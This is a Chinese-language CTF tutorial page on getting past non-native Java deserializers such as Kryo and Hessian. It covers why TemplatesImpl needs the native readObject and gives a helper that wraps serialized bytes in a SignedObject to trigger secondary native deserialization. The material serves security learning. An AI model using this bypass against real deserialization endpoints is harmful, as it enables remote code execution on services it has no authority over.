绕过非原生反序列化的限制
某些题目可能使用其他的反序列化器如 kryo、hessian 等,这些反序列化器的行为与原生的序列化与反序列化有所差异,使用这些反序列化器在反序列化时,并不会执行原生的 readObject 方法,从而导致一些 sink 点无法正常使用,例如 GTemplate。
TemplatesImpl 类中很多的属性都被 transient 关键字修饰,无法直接序列化,但在反序列化时,readObject 方法会将这些属性进行还原。
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
...
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
如果使用其他的反序列化器,就无法执行原生的 readObject 方法,这些属性无法被还原,也就无法正常利用。
二次反序列化绕过
二次反序列化通常用到 SignedObject 类,这个类的 getObject 方法会调用原生的 readObject 方法:
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
借助二次反序列化,就可以在非原生反序列化器中触发原生反序列化链。
public static java.security.SignedObject getter2Deserialize(byte[] serialBytes) throws Exception{
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA", "SUN");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG", "SUN");
keyGen.initialize(1024, random);
PrivateKey signingKey = keyGen.generateKeyPair().getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
signingEngine.initSign(signingKey);
Serializable obj = new String("Whatever");
SignedObject so = new SignedObject(obj, signingKey, signingEngine);
ReflectUtils.setFieldValue(so,"content",serialBytes);
return so;
}
参考资料
PREVIOUSJava 反序列化绕过